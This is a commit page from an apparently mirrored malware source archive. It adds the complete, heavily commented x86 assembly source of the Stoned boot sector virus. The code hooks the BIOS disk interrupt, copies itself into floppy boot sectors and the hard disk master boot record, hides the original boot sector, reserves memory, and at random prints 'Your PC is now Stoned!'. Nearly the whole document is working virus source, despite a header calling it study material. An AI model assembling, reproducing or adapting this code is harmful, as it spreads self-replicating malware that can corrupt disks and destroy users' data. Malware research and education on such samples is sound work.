mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,533 @@
|
||||
TITLE STONBOOT 1-4-80 [5-12-90]
|
||||
|
||||
PAGE 27,132
|
||||
|
||||
;*****************************************************************************
|
||||
;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus
|
||||
;
|
||||
; This file is for the purpose of virus study only! It should not be passed
|
||||
; around among the general public. It will be very useful for learning
|
||||
; how viruses work and propagate. But anybody with access to an assembler
|
||||
; can turn it into a working virus and anybody with a bit of assembly coding
|
||||
; experience can turn it into a far more malevolent program than it already
|
||||
; is. Keep this code in reasonable hands!
|
||||
;
|
||||
; This is a boot sector virus, and an extremely tiny one. It occupies only a
|
||||
; single sector. On a diskette, it resides in the boot sector, and on a hard
|
||||
; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
|
||||
; diskette by copying the real boot sector to side 1, track 0, sector 3. This
|
||||
; is the last sector used by the directory, and is usually not used. If the
|
||||
; directory ever does expand into this area, then the real boot sector will be
|
||||
; trashed, and the diskette will no longer be bootable. Once the boot sector
|
||||
; is copied to the directory area, this code goes into the boot sector space
|
||||
; at side 0, track 0, sector 1. The system is then transferred to the diskette
|
||||
; and the diskette contains an activated virus. Once this diskette is used to
|
||||
; boot up a system, it will become resident and infect other diskettes it
|
||||
; sees. If the system contains a hard drive, it too will become infected.
|
||||
;
|
||||
; This virus does not contain any time bomb, but it can cause loss of data by
|
||||
; wrecking a directory here or there.
|
||||
;*****************************************************************************
|
||||
|
||||
|
||||
LF EQU 0AH
|
||||
CR EQU 0DH
|
||||
|
||||
XSEG SEGMENT AT 07C0h
|
||||
ORG 5
|
||||
NEWSEG LABEL FAR
|
||||
XSEG ENDS
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
|
||||
ORG 0
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
; Execution begins here as a boot record. This means that its location and
|
||||
; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
|
||||
; a change in CS:IP so that CS is 07C0. The following two JMPs, and the
|
||||
; segment definition of XSEG above are best not tampered with.
|
||||
;*****************************************************************************
|
||||
|
||||
|
||||
JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it
|
||||
|
||||
;The above line will jump to here, with a CS of 07C0 and an IP of 5
|
||||
|
||||
JMP JPBOOT ;Jump here at boot up time
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
; The following offsets:
|
||||
; D_TYPE
|
||||
; O_13_O
|
||||
; O_13_S
|
||||
; J_AD_O
|
||||
; J_AD_S
|
||||
; BT_ADD
|
||||
; will be used to access their corresponding variables throughout the code.
|
||||
; They will vary in different parts of the code, since the code relocates
|
||||
; itself and the values in the segment registers will change. The actual
|
||||
; variables are defined with a leading underscore, and should not be used. As
|
||||
; the segment registers, and the offsets used to access them, change in the
|
||||
; code, the offsets will be redefined with "=" operators. At each point, the
|
||||
; particular segment register override needed to access the variables will be
|
||||
; given.
|
||||
;
|
||||
; In this area, the variables should be accessed with the CS: segment override.
|
||||
;******************************************************************************
|
||||
|
||||
D_TYPE = $ ;The type of disk we are booting from
|
||||
_D_TYPE DB 0
|
||||
|
||||
OLD_13 EQU $
|
||||
O_13_O = $ ;Old INT 13 vector offset
|
||||
_O_13_O DW ?
|
||||
|
||||
O_13_S = $ ;Old INT 13 vector segment
|
||||
_O_13_S DW ?
|
||||
|
||||
JMP_ADR EQU $
|
||||
J_AD_O = $ ;Offset of the jump to relocated code
|
||||
_J_AD_O DW OFFSET HI_JMP
|
||||
|
||||
J_AD_S = $ ;Segment of the jump to the relocated code
|
||||
_J_AD_S DW ?
|
||||
|
||||
|
||||
BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector
|
||||
_BT_ADD DW 7C00h ;Boot address segment
|
||||
DW 0000h ;Boot address offset
|
||||
|
||||
|
||||
|
||||
;**********************************************************
|
||||
; The INT 13H vector gets hooked to here
|
||||
;**********************************************************
|
||||
|
||||
NEW_13: PUSH DS
|
||||
PUSH AX
|
||||
CMP AH,2
|
||||
JB REAL13 ;Restore regs & do real INT 13H
|
||||
|
||||
CMP AH,4
|
||||
JNB REAL13 ;Restore regs & do real INT 13H
|
||||
|
||||
;*****************************************************************
|
||||
; We only get here for service 2 or 3 - Disk read or write
|
||||
;*****************************************************************
|
||||
|
||||
OR DL,DL
|
||||
JNZ REAL13 ;Restore regs & do real INT 13H
|
||||
|
||||
;*****************************************************************
|
||||
; And we only get here if it's happening to drive A:
|
||||
;*****************************************************************
|
||||
|
||||
XOR AX,AX
|
||||
MOV DS,AX
|
||||
MOV AL,DS:43FH
|
||||
TEST AL,1 ;Check to see if drive motor is on
|
||||
JNZ REAL13 ;Restore regs & do real INT 13H
|
||||
|
||||
;******************************************************************
|
||||
; We only get here if the drive motor is on.
|
||||
;******************************************************************
|
||||
|
||||
CALL INFECT ;Try to infect the disk
|
||||
|
||||
;******************************************************************
|
||||
; Restore regs & do real INT 13H
|
||||
;******************************************************************
|
||||
|
||||
REAL13: POP AX
|
||||
POP DS
|
||||
JMP DWORD PTR CS:OLD_13
|
||||
|
||||
|
||||
|
||||
;**************************************************************
|
||||
;*** See if we can infect the disk ***
|
||||
;**************************************************************
|
||||
|
||||
INFECT PROC NEAR
|
||||
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
MOV SI,4 ;We'll try up to 4 times to read it
|
||||
|
||||
;***************************************************************
|
||||
; Loop to try reading disk sector
|
||||
;***************************************************************
|
||||
|
||||
RDLOOP: MOV AX,201H ;Read one sector...
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV BX,200H ;...into a space at the end of the code
|
||||
XOR CX,CX
|
||||
MOV DX,CX ;Side 0, drive A
|
||||
INC CX ;Track 0, sector 1
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:OLD_13 ;Do the old INT 13
|
||||
|
||||
JNB RD_OK ;Disk read was OK
|
||||
|
||||
XOR AX,AX
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:OLD_13 ;Reset disk
|
||||
|
||||
DEC SI ;Bump the counter
|
||||
JNZ RDLOOP ;Loop to try reading disk sector
|
||||
JMP SHORT QUIT ;Close up and return if all 4 tries failed
|
||||
|
||||
NOP
|
||||
|
||||
;******************************************************************************
|
||||
; Here if disk read was OK. We got the boot sector. But is it already infected?
|
||||
; Find out by comparing the first 4 bytes of the boot sector to the first 4
|
||||
; bytes of this code. If they don't match exactly, infect the diskette.
|
||||
;******************************************************************************
|
||||
|
||||
RD_OK: XOR SI,SI
|
||||
MOV DI,200H
|
||||
CLD
|
||||
PUSH CS
|
||||
POP DS
|
||||
LODSW
|
||||
CMP AX,[DI]
|
||||
JNZ HIDEIT ;Hide floppy boot sector in directory
|
||||
|
||||
LODSW
|
||||
CMP AX,[DI+2]
|
||||
JZ QUIT ;Close up and return
|
||||
|
||||
;************************************************************
|
||||
; Infect - Hide floppy boot sector in directory
|
||||
;************************************************************
|
||||
|
||||
HIDEIT: MOV AX,301H ;Write 1 sector
|
||||
MOV BX,200H ;From the space at the end of this code
|
||||
MOV CL,3 ;To sector 3
|
||||
MOV DH,1 ;Side 1
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:OLD_13 ;Do the old INT 14
|
||||
JB QUIT ;Close up and return if failed
|
||||
|
||||
;******************************************************************
|
||||
; If write was sucessful, write this code to the boot sector area
|
||||
;******************************************************************
|
||||
|
||||
MOV AX,301H ;Write 1 sector ...
|
||||
XOR BX,BX ;...of this very code...
|
||||
MOV CL,1 ;...to sector 1...
|
||||
XOR DX,DX ;...of Side 0, drive A
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:OLD_13 ;Do an old INT 13
|
||||
|
||||
; ***NOTE*** no test has been done for a sucessful write.
|
||||
|
||||
;***************************************************************
|
||||
; Close up and return
|
||||
;***************************************************************
|
||||
|
||||
QUIT: POP DI
|
||||
POP SI
|
||||
POP ES
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
|
||||
INFECT ENDP
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;****************************************************************
|
||||
;*** Jump here at boot up time
|
||||
;****************************************************************
|
||||
|
||||
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
; Redefine the variable offsets. The code here executes in the memory area
|
||||
; used by the normal boot sector. The variable offsets have an assembled
|
||||
; value of the order 7Cxx. Access them here through the DS: segment override
|
||||
;*****************************************************************************
|
||||
|
||||
|
||||
D_TYPE = 07C00h + OFFSET _D_TYPE
|
||||
O_13_O = 07C00h + OFFSET _O_13_O
|
||||
O_13_S = 07C00h + OFFSET _O_13_S
|
||||
J_AD_O = 07C00h + OFFSET _J_AD_O
|
||||
J_AD_S = 07C00h + OFFSET _J_AD_S
|
||||
BT_ADD = 07C00h + OFFSET _BT_ADD
|
||||
|
||||
|
||||
|
||||
JPBOOT: XOR AX,AX
|
||||
MOV DS,AX ;DS = 0
|
||||
|
||||
;*********************************************************
|
||||
; Set up a usable stack
|
||||
;*********************************************************
|
||||
|
||||
CLI
|
||||
MOV SS,AX ;SS = 0
|
||||
MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00
|
||||
STI
|
||||
|
||||
;*********************************************************
|
||||
; Capture the INT 13 vector (BIOS disk I/O)
|
||||
;*********************************************************
|
||||
|
||||
MOV AX,DS:4CH ;Offset for old INT 13 vector
|
||||
MOV DS:O_13_O,AX ;Save the offset
|
||||
MOV AX,DS:4EH ;Segment for old INT 13 vector
|
||||
MOV DS:O_13_S,AX ;Save the segment
|
||||
|
||||
;*****************************************************************************
|
||||
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
|
||||
; stealing an odd number of K would result in an odd number shown available
|
||||
; when a CHKDSK is run. This might be too obvious. Or the programmer may have
|
||||
; had other plans for the memory.
|
||||
;*****************************************************************************
|
||||
|
||||
MOV AX,DS:413H ;BIOS' internal count of available memory
|
||||
DEC AX
|
||||
DEC AX ;Drop it by 2K ...
|
||||
MOV DS:413H,AX ;...and store it (steal it!!)
|
||||
|
||||
;*********************************************************
|
||||
; Find the segment of the stolen memory
|
||||
;*********************************************************
|
||||
|
||||
MOV CL,6
|
||||
SHL AX,CL
|
||||
MOV ES,AX
|
||||
|
||||
;*********************************************************
|
||||
; Use the segment of the stolen memory area
|
||||
;*********************************************************
|
||||
|
||||
MOV DS:J_AD_S,AX ;Becomes part of a JMP address
|
||||
MOV AX,OFFSET NEW_13
|
||||
MOV DS:4CH,AX ;Offset for new INT 13
|
||||
MOV DS:4EH,ES ;Segment for new INT 13
|
||||
|
||||
;****************************************************************
|
||||
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
|
||||
;****************************************************************
|
||||
|
||||
MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
|
||||
PUSH CS
|
||||
POP DS ;DS = CS
|
||||
XOR SI,SI
|
||||
MOV DI,SI ;All offsets of block move areas are 0
|
||||
CLD
|
||||
REPZ MOVSB ;Copy each byte of code to the top of memory
|
||||
JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code...
|
||||
|
||||
|
||||
|
||||
;**************************************************************
|
||||
; ...and we'll jump right here, to the transferred code
|
||||
;**************************************************************
|
||||
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
; Redefine variable offsets again. This code executes at the top of memory,
|
||||
; and so the exact value of the segment registers depends on how much memory
|
||||
; is installed. The variable offsets have an assembled value of the order of
|
||||
; 00xx. They are accessed using the CS: segment override
|
||||
;****************************************************************************
|
||||
|
||||
D_TYPE = OFFSET _D_TYPE
|
||||
O_13_O = OFFSET _O_13_O
|
||||
O_13_S = OFFSET _O_13_S
|
||||
J_AD_O = OFFSET _J_AD_O
|
||||
J_AD_S = OFFSET _J_AD_S
|
||||
BT_ADD = OFFSET _BT_ADD
|
||||
|
||||
|
||||
HI_JMP: MOV AX,0
|
||||
INT 13H ;Reset disk system
|
||||
|
||||
;**********************************************************************
|
||||
; This will read one sector into 0000:7C00 (the boot sector address)
|
||||
;**********************************************************************
|
||||
|
||||
XOR AX,AX
|
||||
MOV ES,AX
|
||||
MOV AX,201H ;Read one sector
|
||||
MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00
|
||||
CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive?
|
||||
|
||||
JZ DISKET ;If booting from a diskette
|
||||
|
||||
;******************************************************
|
||||
; Booting from a hard drive
|
||||
;******************************************************
|
||||
|
||||
MOV CX,7 ;Track 0, sector 7
|
||||
MOV DX,80H ;Hard drive, side 0
|
||||
INT 13H ;Go get it
|
||||
|
||||
; ***NOTE** There was no check as to wether or not the read was sucessful
|
||||
|
||||
JMP SHORT BOOTUP ;Go run the real boot sector we've installed
|
||||
|
||||
NOP
|
||||
|
||||
;******************************************************
|
||||
; Booting from a diskette
|
||||
;******************************************************
|
||||
|
||||
DISKET: MOV CX,3 ;Track 0, sector 3
|
||||
MOV DX,100H ;A drive, side 1 (last sector of the directory)
|
||||
INT 13H ;Go get it
|
||||
JB BOOTUP ;If read error, run it anyway.(???) (A prank?)
|
||||
|
||||
;****************************************************************
|
||||
;Wether or not we print the "Stoned" message depends on the value
|
||||
; of a byte in the internal clock time -- a fairly random event.
|
||||
;****************************************************************
|
||||
|
||||
TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time
|
||||
JNZ GETHDB ;Get Hard drive boot sector
|
||||
|
||||
;**************************************************************
|
||||
; Print the message
|
||||
;**************************************************************
|
||||
|
||||
MOV SI,OFFSET S_MSG ;Address of the "stoned message"
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
;**************************************************************
|
||||
; Loop to print individual characters
|
||||
;**************************************************************
|
||||
|
||||
PRINT1: LODSB
|
||||
OR AL,AL ;A 00 byte means quit the loop
|
||||
JZ GETHDB ;Get Hard drive boot sector, then
|
||||
|
||||
;**************************************************************
|
||||
; Not done looping. Print another character
|
||||
;**************************************************************
|
||||
|
||||
MOV AH,0EH
|
||||
MOV BH,0
|
||||
INT 10H
|
||||
JMP SHORT PRINT1 ;Print a character on screen
|
||||
|
||||
|
||||
;**************************************************************
|
||||
; Get Hard drive boot sector
|
||||
;**************************************************************
|
||||
|
||||
GETHDB: PUSH CS
|
||||
POP ES
|
||||
MOV AX,201H ;Read one sector...
|
||||
MOV BX,200H ;...to the buffer following this code...
|
||||
MOV CL,1 ;...from sector 1...
|
||||
MOV DX,80H ;...side 0, of the hard drive
|
||||
INT 13H
|
||||
JB BOOTUP ;If error, assume no hard drive
|
||||
; So go run the floppy boot sector
|
||||
|
||||
;***************************************************************************
|
||||
; If no read error, then there really must be a hard drive. Infect it. The
|
||||
; following code uses the same trick above where the first 4 bytes of the
|
||||
; boot sector are compared to the first 4 bytes of this code. If they don't
|
||||
; match exactly, then this hard drive isn't infected.
|
||||
;***************************************************************************
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV SI,200H
|
||||
MOV DI,0
|
||||
LODSW
|
||||
CMP AX,[DI]
|
||||
JNZ HIDEHD ;Hide real boot sector in hard drive
|
||||
|
||||
LODSW
|
||||
CMP AX,[DI+2]
|
||||
JNZ HIDEHD ;Hide real boot sector in hard drive
|
||||
|
||||
;**************************************************************
|
||||
; Go run the real boot sector
|
||||
;**************************************************************
|
||||
|
||||
BOOTUP: MOV BYTE PTR CS:D_TYPE,0
|
||||
JMP DWORD PTR CS:BT_ADD
|
||||
|
||||
;**************************************************************
|
||||
; Infect - Hide real boot sector in hard drive
|
||||
;**************************************************************
|
||||
|
||||
HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection
|
||||
MOV AX,301H ;Write i sector...
|
||||
MOV BX,200H ;...from the buffer following this code...
|
||||
MOV CX,7 ;...to track 0, sector 7...
|
||||
MOV DX,80H ;...side 0, of the hard drive...
|
||||
INT 13H ;Do it
|
||||
JB BOOTUP ;Go run the real boot sector if failed
|
||||
|
||||
;**************************************************
|
||||
; Here if the boot sector got written successfully
|
||||
;***************************************************
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
MOV SI,3BEH ;Offset of disk partition table in the buffer
|
||||
MOV DI,1BEH ;Copy it to the same offset in this code
|
||||
MOV CX,242H ;Strange. Only need to move 42H bytes. This
|
||||
; won't hurt, and will overwrite the copy of
|
||||
; the boot sector, maybe giving a bit more
|
||||
; concealment.
|
||||
REPZ MOVSB ;Move them
|
||||
MOV AX,301H ;Write 1 sector...
|
||||
XOR BX,BX ;...of this code...
|
||||
INC CL ;...into sector 1
|
||||
INT 13H
|
||||
|
||||
; ***NOTE*** no check for a sucessful write
|
||||
|
||||
JMP BOOTUP ;Now run the real boot sector
|
||||
|
||||
S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF
|
||||
DB LF
|
||||
|
||||
;*************************************************************************
|
||||
; Just garbage. In one version, this contained an extension of the above
|
||||
; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
|
||||
;*************************************************************************
|
||||
|
||||
DB 0,4CH,45H,47H,41H
|
||||
DB 4CH,49H,53H,45H,67H
|
||||
DB 2,4,68H,2,68H
|
||||
DB 2,0BH,5,67H,2
|
||||
|
||||
END_BYT EQU $ ;Used to determine the size of the code. It
|
||||
; must be less than 1BE, or this code is too
|
||||
; large to be used to infect hard disks. From
|
||||
; offset 1BE and above, the hard disk partition
|
||||
; table will be copied, and anything placed
|
||||
; there will get clobbered.
|
||||
|
||||
CODE ENDS
|
||||
|
||||
END
|
||||
|
||||
Reference in New Issue
Block a user